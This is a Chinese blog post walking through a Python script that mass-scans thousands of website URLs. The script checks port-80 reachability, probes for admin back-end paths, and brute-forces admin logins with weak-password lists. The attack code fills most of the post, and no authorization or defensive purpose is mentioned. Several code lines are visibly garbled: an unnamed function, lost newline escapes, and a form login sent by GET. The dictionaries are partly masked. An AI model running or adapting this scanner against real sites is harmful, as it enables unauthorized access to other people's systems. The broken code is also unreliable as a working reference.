写程序之前一定要自己的需求,这样才能拆解细小模块实现功能
总数有多少
去重之后有多少
能访问的URL有多少
存在弱口令的有多少
先来看一下我之前是如何处理一批列表:
类似于这样,首先需要把URL和后面的城市和时间分开,这里可以通过Excel自带的数据分列可以实现,也可以通过linux命令实现。
1awk -F ' ' '{print $1}' 1.csv
这样已经提取出第一段URL,因为这些url有些则是这样的格式:
http://localhost
127.0.0.1
所以没有办法统一,这里通过notepad++把http://都替换为空,之后再放入到excel之后再提取全部IP,以/号区别,这样就能提取全部IP地址了。
cat 1.csv|sort -u|wc -l 统计去重之后多少条
再之后提取这些url之后放入到BBScan去跑存在后台的,这里时间需要太久。
这是我之前的做法,如果一天下来还浪费了时间,所以这里通过Python实现上面几个步骤操作,现在程序才写到一半,后面会继续优化。
Python实现
提取可访问网站
3K多个网站里面肯定有很多访问不了的,所以这里就需要实现把能访问80端口提取出来。
之前是用requests去请求网站,不过后来想想这种效率太慢了,所以就换成socket请求80端口。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23from socket import *
def (file):
with open(open_file,'r') as read_url:
strc = str()
for x in read_url:
xx = x.split('n')
yield strc.join(xx)
def sockset_request(tarHost,TarPort=80):
try:
timeout = 2
setdefaulttimeout(timeout)
s = socket(AF_INET,SOCK_STREAM)
s.connect((tarHost,TarPort))
info = "{} n".format(tarHost)
create_file_name = datetime.datetime.now().strftime('%Y-%m-%d')
with open(create_file_name,'a',encoding='utf-8') as hand:
hand.writelines(info)
print(info.split('n'))
s.close()
except:
pass
先是通过socket_dict()函数加载IP列表,最后通过yield迭代器反回结果。
然后再通过socket请求,这里并创建一个今天日期的文件,把能访问的结果写入。
加载后台字典
这里因博客原因,所以我把一些常用的字典给隐藏掉了,自己用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29def load_dict(file):
dict_scan_directory = ['/post/***','/admin_***/','/admin_***/login_***','/index_show/***/index.jsp','/***/index.jsp','/***_admin/']
with open(open_file,'r') as read_url:
strc = str()
for x in read_url:
xx = x.split('n')
conversion_str = strc.join(xx)
for directory in dict_scan_directory:
url_join = 'http://{url}{dir}'.format(url=conversion_str,dir=directory)
yield strc.join(url_join)
def request_get(url):
headers = {
'User-Agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate, sdch',
'Accept-Language':'zh-CN,zh;q=0.8'
}
try:
r = requests.get(url,headers=headers,timeout=3)
if r.status_code == 200:
request_info = '{url} --> {code}'.format(url=r.url,code=r.status_code)
yield r.url
except Exception as e:
pass
先是对字典遍历拼接一个http://URL/后台类似一样的全地址,最后还是以迭代器.
最后通过request_get函数去请求判断是否存在。把这类存在的输出。
猜解某一类型密码
这里还是一些常用的后台密码弱口令字典,所以也给隐藏了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24def fishing_type_a(url):
username_dict = ['admin', 'admin1']
password_dict = ['123456', '112356', 'aa****', 'aa****1', '9****7', 'aa****8', 'aa****7', '4****qq','aa1****', 'a****868', 'aa51****8']
headers = {
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8'
}
for password in password_dict:
for username in username_dict:
payload = {
'User': '{username}'.format(username=username),
'Pass': '{password}'.format(password=password)
}
r = requests.get(url, data=payload, headers=headers)
r_stat_text = r.text
#print('{} {} {}'.format(url,payload,len(r.text)))
if len(r_stat_text) == 63:
print('{} {} {}'.format(url,username,password))
else:
pass
执行1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23def Attack_Scan(file):
for so in socket_dict(file):
sockset_request(so)
load_dict_datetime = datetime.datetime.now().strftime('%Y-%m-%d')
for read_url in load_dict(load_dict_datetime):
for attack in request_get(read_url):
strurl = '/admin_manager/'
if strurl in attack:
try:
fishing_type_a(attack)
except:
pass
print(attack)
if __name__ == '__main__':
if len(sys.argv) > 1:
open_file = sys.argv[1]
t = threading.Thread(target=Attack_Scan,args=(open_file,))
t.start()
else:
print('example: {} {} {}'.format('python',sys.argv[0],'url_list'))
这里先是调用各种函数,先是判断是否某一类后台,如果是这类后台,95%都是存在弱口令,略过那些没有需口令的并打印。
最终脚本所执行的结果:
后面会继续优化,处理一些URL的操作去重之类。